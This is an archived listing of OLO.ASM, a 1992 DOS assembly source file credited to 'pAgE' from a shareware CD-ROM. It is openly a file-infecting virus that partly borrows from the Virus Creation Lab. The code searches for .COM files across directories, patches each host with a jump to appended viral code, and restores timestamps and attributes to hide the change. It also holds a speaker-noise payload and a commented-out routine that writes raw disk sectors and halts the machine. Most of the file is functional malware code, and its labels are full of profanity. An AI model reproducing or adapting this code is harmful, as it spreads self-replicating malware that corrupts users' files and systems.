home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / OLO.ASM < prev    next >
Assembly Source File  |  1992-12-22  |  13KB  |  367 lines

  1. ;
  2. ;        ╓──┐ ╓──┐ ╓──┐ ─╥─ ╥──┐ ╓──┐ ╓─╥─┐
  3. ;        ╟──┤ ║  │ ║     ║  ╟─   ║  │   ║
  4. ;        ╨  ┴ ╨  ┴ ╙──┘ ─╨─ ╨──┘ ╨  ┴   ╨
  5. ;                ╓─┐ ╓──┐ ╓──┐ ╥──┐
  6. ;                ╙─┐ ╟──┤ ║ ─┐ ╟─
  7. ;               ╙──┘ ╨  ┴ ╙──┘ ╨──┘
  8. ;
  9. ;          ...from the books of pAgE
  10. ;
  11.  
  12.  
  13.         .model tiny
  14.         .code
  15.  
  16.         org  100h
  17.  
  18. depth_of_well           equ    longer_than-my_dick
  19.  
  20. my_dick:
  21.                         call yump_up_and_go
  22.  
  23. yump_up_and_go:         pop     bp
  24.                         sub     bp,offset yump_up_and_go
  25.                         jmp     hop_over_da_shit
  26.  
  27. and_over_it_again:      mov     ax,3524h
  28.                         int     21h
  29.                         mov     word ptr [bp+stash_box],bx
  30.                         mov     word ptr [bp+stash_box+2],es
  31.                         mov     ah,25h
  32.                         lea     dx,[bp+offset int24]
  33.                         int     21h
  34.                         push    cs
  35.                         pop     es
  36.                         jmp     gordon_effect
  37.  
  38. hop_over_da_shit:       lea     si,[bp+stash_3]
  39.                         mov     di,100h
  40.                         push    di
  41.                         movsw
  42.                         movsb
  43.  
  44.                         mov     byte ptr [bp+how_many],4
  45. stupid_shit_trns:       mov     ah,1Ah
  46.                         lea     dx,[bp+new_chunk]
  47.                         int     21h
  48.  
  49.                         mov     ah,47h
  50.                         mov     dl,0
  51.                         lea     si,[bp+where_we_is]
  52.                         int     21h
  53.                         mov     byte ptr [bp+eyelash],'\'
  54.  
  55.                         jmp     and_over_it_again
  56.                         jmp     bang_bang
  57. put_fletch_on_it        proc    far
  58.  
  59. yeeha_go:               mov     ah,0h
  60.                         mov     al,12h
  61.                         int     10h
  62.  
  63.                         jmp     yo_homey_1
  64. stupid_shit_1           db      4
  65. stupid_shit_2           dw      0
  66.                         db      62h, 79h
  67. copyright               db      '-->>pAgE<<--'
  68.                         db      '(C)1992 TuRN-THE-pAgE       '
  69. stupid_shit_5           db      'Ancient  Sages'
  70.                         db      '     '
  71.                         db      '   Is one of pAgEs'
  72.                         db      '            '
  73.                         db      '$'
  74. yo_homey_1:
  75.                         push    si
  76.                         push    di
  77.                         mov     si,80h
  78.                         cld
  79.                         call    mo_stupid_shit_1
  80.                         cmp     byte ptr [si],0Dh
  81.                         je      yo_homey_4
  82.                         mov     cx,28h
  83.                         lea     di,stupid_shit_5
  84. yo_homeyloop_2:
  85.                         lodsb
  86.                         cmp     al,0Dh
  87.                         je      yo_homey_3
  88.                         stosb
  89.                         loop    yo_homeyloop_2
  90. yo_homey_3:
  91.                         inc     cx
  92.                         mov     al,2Eh
  93.                         rep     stosb
  94. yo_homey_4:
  95.                         pop     di
  96.                         pop     si
  97.  
  98.                         mov     dx,si
  99.                         mov     cx,di
  100.                         mov     stupid_shit_2,cx
  101. yo_homey_5:
  102.                         mov     stupid_shit_1,0FFh
  103. yo_homey_6:
  104.                         add     stupid_shit_1,1
  105.                         mov     bl,stupid_shit_1
  106.                         mov     cx,40
  107.                         call    mo_stupid_shit_2
  108.  
  109. yo_homeyloop_7:
  110.                         mov     al,byte ptr copyright+20h[bx]
  111.                         mov     ah,0eh
  112.                         int     10h
  113.  
  114.                         inc     bx
  115.                         call    mo_stupid_shit_3
  116.                         mov     dl,0FFh
  117.                         mov     ah,6
  118.                         int     21h
  119.  
  120.                         jnz     yo_homey_10
  121.                         loop    yo_homeyloop_7
  122.  
  123.                         cmp     byte ptr copyright+20h[bx],24h
  124.                         je      yo_homey_5
  125.                         jmp     short yo_homey_6
  126.  
  127. put_fletch_on_it        endp
  128.  
  129. mo_stupid_shit_1        proc    near
  130.  
  131. yo_homey_8:
  132.                         inc     si
  133.                         cmp     byte ptr [si],20h
  134.                         je      yo_homey_8
  135.                         retn
  136. mo_stupid_shit_1        endp
  137.  
  138. mo_stupid_shit_2        proc    near
  139.  
  140.                         push    ax
  141.                         push    bx
  142.                         push    cx
  143.                         push    dx
  144.                         mov     dx,si
  145.                         mov     cx,di
  146.                         mov     ah,0Fh
  147.                         int     010h
  148.                         mov     ax,1210h
  149.                         mov     bx,55h
  150.                         int     10h
  151.                         pop     dx
  152.                         pop     cx
  153.                         pop     bx
  154.                         pop     ax
  155.  
  156.                         retn
  157. mo_stupid_shit_2        endp
  158.  
  159. mo_stupid_shit_3        proc    near
  160.                         push    cx
  161.                         mov     cx,258h
  162. yo_homeyloop_9:
  163.                         loop    yo_homeyloop_9
  164.                         pop     cx
  165.                         retn
  166. mo_stupid_shit_3        endp
  167.  
  168. yo_homey_10:
  169.                         call    mo_stupid_shit_2
  170.                         mov     cx,4Fh
  171. yo_homeyloop_11:
  172.                         mov     al,20h
  173.                         mov     ah,0Eh
  174.                         int     10h
  175.  
  176.                         loop    yo_homeyloop_11
  177.  
  178.                         mov     ah,1
  179.                         mov     cx,stupid_shit_2
  180.                         int     10h
  181.  
  182.                         jmp     bang_bang
  183.                         call    fuck_da_monkey
  184.  
  185. gordon_effect:          lea     dx,[bp+what_we_wants]
  186.                         mov     ah,4eh
  187.                         mov     cx,7h
  188. findfirstyump_up_and_go:        nop
  189.                         int     21h
  190.  
  191.                         mov     al,0h
  192.                         call    tear_it_open
  193.  
  194.                         xchg    ax,bx
  195.  
  196.                         mov     ah,3fh
  197.                         lea     dx,[bp+muffler]
  198.                         mov     cx,1ah
  199.                         int     21h
  200.  
  201.                         mov     ah,3eh
  202.                         int     21h
  203. check_it_out:
  204.  
  205.                         mov     ax,word ptr [bp+new_chunk+1Ah]
  206.                         cmp     ax,(longer_than-my_dick)
  207.                         jb      find_next
  208.  
  209.                         cmp     ax,65535-(longer_than-my_dick)
  210.                         ja      find_next
  211.  
  212.                         mov     bx,word ptr [bp+muffler+1]
  213.                         add     bx,longer_than-my_dick+3
  214.                         cmp     ax,bx
  215.                         je      find_next
  216.                         jmp     yo_over_here
  217. find_next:
  218.                         mov     ah,4fh
  219.                         jmp     short findfirstyump_up_and_go
  220.                         mov     ah,3bh
  221.                         lea     dx,[bp+dot_dot]
  222.                         int     21h
  223.                         jnc     gordon_effect
  224.  
  225.                         mov     bx,word ptr [bp+muffler+1]
  226.                         add     bx,longer_than-my_dick+3
  227. yo_over_here:           mov     cx,3
  228.                         sub     ax,cx
  229.                         lea     si,[bp+offset muffler]
  230.                         lea     di,[bp+offset stash_3]
  231.                         movsw
  232.                         movsb
  233.                         mov     byte ptr [si-3],0e9h
  234.                         mov     word ptr [si-2],ax
  235. finishgordon_effection:
  236.                         push    cx
  237.                         xor     cx,cx
  238.                         call    attributes
  239.  
  240.  
  241.                         mov     al,2
  242.                         call    tear_it_open
  243.  
  244.                         mov     ah,40h
  245.                         lea     dx,[bp+muffler]
  246.                         pop     cx
  247.                         int     21h
  248.  
  249.                         mov     ax,4202h
  250.                         xor     cx,cx
  251.                         cwd
  252.                         int     21h
  253.  
  254.                         mov     ah,40h
  255.                         lea     dx,[bp+my_dick]
  256.                         mov     cx,longer_than-my_dick
  257.                         int     21h
  258.  
  259.                         mov     ax,5701h
  260.                         mov     cx,word ptr [bp+new_chunk+16h]
  261.                         mov     dx,word ptr [bp+new_chunk+18h]
  262.                         int     21h
  263.  
  264.                         mov     ah,3eh
  265.                         int     21h
  266.  
  267.                         mov     ch,0
  268.                         mov     cl,byte ptr [bp+new_chunk+15h]
  269.                         call    attributes
  270.  
  271. leave_heeruh_virus:
  272.                         mov     ax,2524h
  273.                         lds     dx,[bp+offset stash_box]
  274.                         int     21h
  275.                         push    cs
  276.                         pop     ds
  277.  
  278. olley:                  call    put_fletch_on_it
  279.  
  280. tear_it_open            proc    near
  281.                         mov     ah,3dh
  282.                         lea     dx,[bp+new_chunk+30]
  283.                         int     21h
  284.                         xchg    ax,bx
  285.                         ret
  286. endp                    tear_it_open
  287.  
  288. attributes              proc    near
  289.                         mov     ax,4301h
  290.                         lea     dx,[bp+new_chunk+30]
  291.                         int     21h
  292.                         ret
  293. endp                    attributes
  294. int24:
  295.                         mov     al,3
  296.                         iret
  297. yumpem_keep             dd      ?
  298. how_many                db      ?
  299. davey_jones             dd      ?
  300. yumpem_keep2            db      ?
  301. stash_3                 db      0cdh,20h,0
  302. davey_jones2            dd      ?
  303. what_we_wants           db      "*.COM",0
  304. muffler                 db      1ah dup (?)
  305. stash_box               dd      ?
  306. eyelash                 db      ?
  307. where_we_is             db      64 dup (?)
  308. new_chunk               db      43 dup (?)
  309. dot_dot                 db      '..',0
  310.  
  311. ;<><><><><><><><><><><><><><><><><><><><><><><><><><>
  312. ;       Borrowed this segment from the VCL
  313. ;<><><><><><><><><><><><><><><><><><><><><><><><><><>
  314.  
  315. bang_bang               proc    near
  316.                         mov     cx,0025h
  317. new_shot:               push    cx
  318.                         mov     dx,0140h
  319.                         mov     bx,0100h
  320.                         in      al,061h
  321.                         and     al,11111100b
  322. fire_shot:              xor     al,2
  323.                         out     061h,al
  324.                         add     dx,09248h
  325.                         mov     cl,3
  326.                         ror     dx,cl
  327.                         mov     cx,dx
  328.                         and     cx,01FFh
  329.                         or      cx,10
  330. shoot_pause:            loop    shoot_pause
  331.                         dec     bx
  332.                         jnz     fire_shot
  333.                         and     al,11111100b
  334.                         out     061h,al
  335.                         mov     bx,0002h
  336.                         xor     ah,ah
  337.                         int     1Ah
  338.                         add     bx,dx
  339. shoot_delay:            int     1Ah
  340.                         cmp     dx,bx
  341.                         jne     shoot_delay
  342.                         pop     cx
  343.                         loop    new_shot
  344. endp                    bang_bang
  345.  
  346. fuck_da_monkey          proc    near
  347.                         ;xor     ah,ah
  348.                         ;int     1Ah
  349.                         ;xchg    dx,ax
  350.                         ;mov     dx,0FFh
  351. out_loop:               ;out     dx,al
  352.                         ;dec     dx
  353.                         ;jne     out_loop
  354.  
  355.                         ;mov     al,0002h
  356.                         ;mov     cx,3
  357.                         ;lea     dx,stupid_shit1_file
  358.                         ;int     26h
  359.  
  360.                         ;cli
  361.                         ;hlt
  362.                         ;jmp     short $
  363. endp                    fuck_da_monkey
  364.                         int     20h
  365. longer_than:
  366.                         end       my_dick
  367.